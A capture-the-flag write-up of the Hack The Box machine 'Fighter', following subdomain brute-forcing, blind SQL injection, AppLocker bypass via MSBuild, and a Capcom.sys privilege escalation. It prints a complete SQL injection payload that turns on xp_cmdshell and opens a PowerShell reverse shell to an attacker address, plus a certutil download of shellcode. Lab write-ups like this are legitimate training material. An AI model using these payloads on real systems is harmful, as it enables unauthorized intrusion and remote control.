Introduction

This week’s retired box is Fighter, which brought a lot of pain into my life. Having just started my HTB journey over the past couple of weeks, I have challenged myself to complete the retiring box, at a minimum, so that I can continue to post write-ups. Fighter caused me hours of lost sleep. Seriously, I worked on it so long that it was the next morning of which I had a big presentation and I completely failed to sleep. But I did root this box, yo.

Fighter brings with it hidden subdomains, advanced blind SQL injection, AppLocker bypassing, privilege escalation to only get user, and a fun reverse engineering challenge for the root flag. What a ride.

Let’s get started!

Our initial Nmap scan looked like this:

Starting Nmap 7.70 ( https://nmap.org ) at 2018-10-03 13:12 EDT Nmap scan report for 10.10.10.72 Host is up (0.044s latency). Not shown: 65534 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: StreetFighter Club Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Microsoft Windows Server 2012 (91%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows 7 Professional (87%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows 7 or Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 (85%), Microsoft Windows Server 2008 R2 or Windows 8.1 (85%), Microsoft Windows Server 2008 R2 SP1 or Windows 8 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 43.30 ms 10.10.14.1 2 43.37 ms 10.10.10.72 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 101.17 seconds

Only one port open. Solid. I navigate to the port to find a website featuring the famous Street Fighter video game. The site looked something like this:

All of the links rerouted to the page we were on, but if we read closely, we see that the “important announcement” mentions an old members site and the streetfighterclub.htb web address. My initial thought process was to use Dirbuster and find the hidden page. Of course, on a 50 point box, it’s never that easy. With that failure, I moved onto adding streetfighterclub.htb in my /etc/hosts file and repeating the process. I did this because there was no DNS on the machine we scanned. There were still no results. In a final effort, the thought of subdomains came to mind. This would have to be brute forced.

First, we need a name list. If you do a locate namelist.txt, you will find results as such:

I went ahead and used the DNS Recon list (2nd down). Now, there’s likely a better way to script these next steps, but I’m a lazy hacker. I needed a way to take the list, append “.streetfighterclub.htb” after everything on the list and then add the machine IP in front of it. Why? So I can place this ginormous list in my /etc/hosts file and see what sticks. Being a former accountant, I decided to do this in Excel, which took less than a minute. The result looked something like this:

I placed all of the names into /etc/hosts, which looked like this:

Finally, I decided to navigate out to one of the hosts to see what would happen:

Cool. I got the same webpage from earlier. That means our DNS is resolving. So, we need to find which subdomain is our winner. I like to use Burp Suite and intruder for this. If you do not have Burp Pro, it is still possible to achieve the same results with ZAP, but this example will be done with Burp.

First, we need to intercept the GET request of a working page. I just used 1.streetfighterclub.htb.

Now, we can right click on this request and select “Send to Intruder”. Once there, we can navigate to Intruder -> Positions -> and highlight the 1 in the 1.streetfighterclub.htb host to set our payload position. It looks something like this:

With the payload position selected, we can navigate to payloads. Here, we can paste the DNS list from earlier.

What we’re doing is sending the entire list through as subdomains and seeing what sticks. We then hit “start attack” and wait for the results. I always start by sorting by length or status, which provided interesting results:

As you can see, the members page is throwing a 403, which is the forbidden status. We have some 400s, but mostly 304 redirects to the main page. The name is also “members” which is a big tip that we’re in the right direction. Since it’s a 403, we’re going to have to find what directory and pages actually allow some sort of access. We can use dirb for this. First, dirb http://members.streetfighterclub.htb:

Nice! We found the “old” directory. Navigating to it also 403s. Dirb automatically runs an additional scan on any directory it finds, but found no sub-directories to old. Maybe it’s a webpage we’re after. We know from our Nmap scan that the server is IIS. We can scan based on .asp webpages and see if we find results. I used: dirb http://members.streetfighterclub.htb/old -X .asp

The results:

There we go. The welcome page is found, but redirects to the login. It looks like our next attack surface is the login. Here is the page:

Now, when I see a login page like this, I immediately think of SQL injection. Let’s go ahead and throw some text into these fields and intercept the request with Burp. Here’s the page:

Here’s the intercepted request:

First, please ignore the session IDs. The box initially started with one, but even with resets, they still exist. I’m assuming it’s stored in my browser. The initial request had one session ID, a Chk cookie, Email cookie, Level cookie, password cookie, and username cookie. It looks as if they are URL and Base64 encoded.

This was the first rabbit hole. While I thought SQL injection, I also thought that I could maybe modify the cookies and gain entry. I could not, but I lost at least an hour trying. I decided to save my Post request into a file and let sqlmap do some work. My initial syntax was: sqlmap -r postfile –level=5 –risk=3

Eventually, sqlmap was able to find SQL injection. The results were:

Parameter: logintype (POST) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause Payload: username=test&password=test&logintype=-4342 OR 9713=9713&B1=LogIn Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query) Payload: username=test&password=test&logintype=2 OR 9995=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)&B1=LogIn

So we definitely found SQL injection now. However, this led to an even deeper rabbit hole, full of misdirections and wasted hours. I eventually was able to dump the admin username, password, and e-mail, but that lead to an intentional server error. I tried to auto-pwn with sqlmap and was told that stacked queries were disabled. If stacked queries weren’t available to do command injection and my valid credentials weren’t working, what the hell was I going to do? Not trust the system.

Here’s a valuable lesson: always verify what your tool is telling you is true. Sqlmap only knows how to do so much and sometimes, it lies to you. Another valuable lesson: always try to work in a team. I have a great group of guys that I hack on a team with, each who has his own particular strengths. After much struggles, we were able to craft an exploit based on the ideas behind this blog post:

https://www.tarlogic.com/en/blog/red-team-tales-0x01/

Initially, we tried to use certutil, which is a tool installed on most Windows machines that has the ability to download files remotely. Then we thought, “If we can execute commands, why not try a reverse shell directly?” So, through tons of trial and error, we came up with this injection code:

1;EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure ‘xP_cmDsHell’, 1;RECONFIGURE WITH OVERRIDE;drop table #xxx;create table #xxx (out varchar(8000));Insert into #xxx (out) execute xp_CmDShell ‘c:\WinDOWS\SYSWoW64\winDoWSpOwERsHEll\V1.0\PoWerShell.EXE “$client = New-Object System.Net.Sockets.TCPClient(\”10.10.14.12\”,80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \”PS \” + (pwd).Path + \”^> \”;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”‘;EXEC sp_configure ‘xp_cmDsHeLl’, 0;RECONFIGURE WITH OVERRIDE;

If you follow closely, the procedures allow us to call xp_cmdshell, which is what is used in SQL to execute commands. With xp_cmdshell, we are able to call powershell.exe with a reverse shell payload. Having this payload typed up, we URL encoded it, threw it into burp repeater, and started a netcat listener on port 80 (nc -nvlp 8080). Here was the request:

You can see that we take advantage of the logintype SQLi point. Here is what happened on the other side:

We officially have a reverse shell. This shell, unfortunately, goes nowhere. We have no access to the user.txt flag. There are rabbit holes all over the place, including the box creator providing a vulnerability script that shows the potential privilege escalation vulnerabilities (Guess what? None of them work!). We’re also on a very weak netcat session, behind AppLocker, and could really benefit from some sort of Meterpreter shell.

Another thing to mention is we’re incredibly limited on what ports we can use for shells. A quick look at netsh firewall show config shows that port 80 is open, which allows us to assume 443 is open as well. We’re already using port 80, so our next elevation will have to use 443. Here’s a screenshot of the firewall settings:

So, at this point, we’re pretty stuck. I dug through all of the program files I could think of and ran all of the useful enumeration scripts that I had. Nothing was standing out to me. I tried uploading better reverse shells, but those were being blocked by AV. This was simply going to take some brute force Googling. What I found was the system was running MSBuild 4.0.30319, which when Googled, produced this wonderful article:

https://blog.conscioushacker.io/index.php/2017/11/17/application-whitelisting-bypass-msbuild-exe/

We can bypass Windows AppLocker. I followed the instructions provided in the blog above to create the shellcode.xml file and set up a HTTPS meterpreter listener as instructed by the blog. To spare some redundancy on an already long post, I will leave those pictures out of this walkthrough, but will show it in full detail on the video walkthrough.

In order to get the file on the machine, there’s a cool trick that many people do not know about. You can use a tool that I mentioned earlier, certutil, to transfer remote files onto Windows machines. There’s a great tutorial on it by Chris Gates, which can be found here:

http://carnal0wnage.attackresearch.com/2017/08/certutil-for-delivery-of-files.html

So, we’ll need to spin up a web server in the directory of our shellcode.xml file. I like to use SimpleHTTPServer. That looks something like this:

Then we will grab the file with certutil (certutil.exe -urlcache -split -f http://10.10.14.12/shellcode.xml shellcode.xml):

With our shellcode on the machine and our Meterpreter listener running, we can now execute the MSBuild command from the provided article. The command is: c:\windows\microsoft.net\framework\v4.0.30319\msbuild.exe shellcode.xml

Which lands us a Meterpreter session:

By this point, I had tried everything under the sun in terms of privilege escalation already. One thing that I hadn’t thought of was the name of the machine itself: fighter. Usually, the name of the machine plays some sort of role in one way or another. We already saw the Street Fighter webpage, but could there be more? In a last ditch effort, I did a searchsploit on fighter. Here were the results:

Does something stand out immediately? Street Fighter! It looks as if there is a Capcom.sys kernel exploit that provides elevation. Let’s check that we have Capcom.sys running on the machine:

JACKPOT

Upon further research of the exploit, I discovered that the process had to be running on 64 bits and that there was a Metasploit module for it. Our current shell is actually x86, but Meterpreter has an easy way of migrating that over. It’s literally called migrate.

First, we can type ps into Meterpreter to see what processes are running. You get a nice list that looks like this:

Basically, we just need to pick a PID that is running x64 and migrate to it. I chose 1172, the sqlserver process. We type migrate 1172 and voila:

Now, we can background the session by typing background and then use our Capcom elevation module (use exploit/windows/local/capcom_sys_exec). The settings look as such:

Remember we’re on a 443 shell, which only leaves port 80 open. Our session is session 1. Now type run. It’s that easy. Except it’s not:

This is the exploit. It HAS to be…..but it’s not working. Was I being trolled yet again? The failure was stating the machine wasn’t vulnerable. However, we have the kernel running and we’re on x64. What gives? It took me hours to believe in myself and think that maybe Metasploit was broken. It was. I decided to edit the Ruby of the module and remove these lines:

From there, I typed reload to reload the module and ran it again. This time, the exploit completed, but without a session:

Okay, it looks like it didn’t work, but there’s no need to panic. We can try two things:

1) Migrate to the notepad session of 3604 and see if we are SYSTEM

2) Migrate to a different x64 process and try again.

Fortunately, after migrating our session to notepad, we have a SYSTEM shell!

We’re able to obtain the user.txt. Now to obtain the root.txt and end this.

UHHHHHHHH

This box will never end. Again, here comes the benefit of working in a group. While I have the free version of IDA, which disassembles programs, I do not have access to the Pro version, which can actually decompile them. Thankfully, my teammates do. We decompiled the root.exe to find the following code structure:

So, this function uses a1 as a base address and adds v1. We can also think of it as a1[v1]. We then take this to XOR of 9. While this looks like a power, XOR actually means that a value returns one if, and only if, only one bit is set. So, 0 and 1 = 1, but 1 and 1 = 0. It’s tricky to wrap the mind around at first. However, we do not need to understand it deeply to succeed.

So, we know that we have a1[v1] XOR 9 == array[v1]. We can write a simple program to solve this, like so:

Or, we can use an XOR brute forcer with our array input. Check out this link:

https://gchq.github.io/CyberChef/#recipe=XOR_Brute_Force(1,100,0,’Standard’,false,true,false,”)&input=Rm1gZkVoT2x9aA

Either way, we see that the answer becomes OdioLaFeta, which is Italian for “I hate the feta”. We type this string in with root.exe and receive our flag.

Wanna chat? Add me on Twitter, YouTube or LinkedIn!

Veteran? Join our Slack!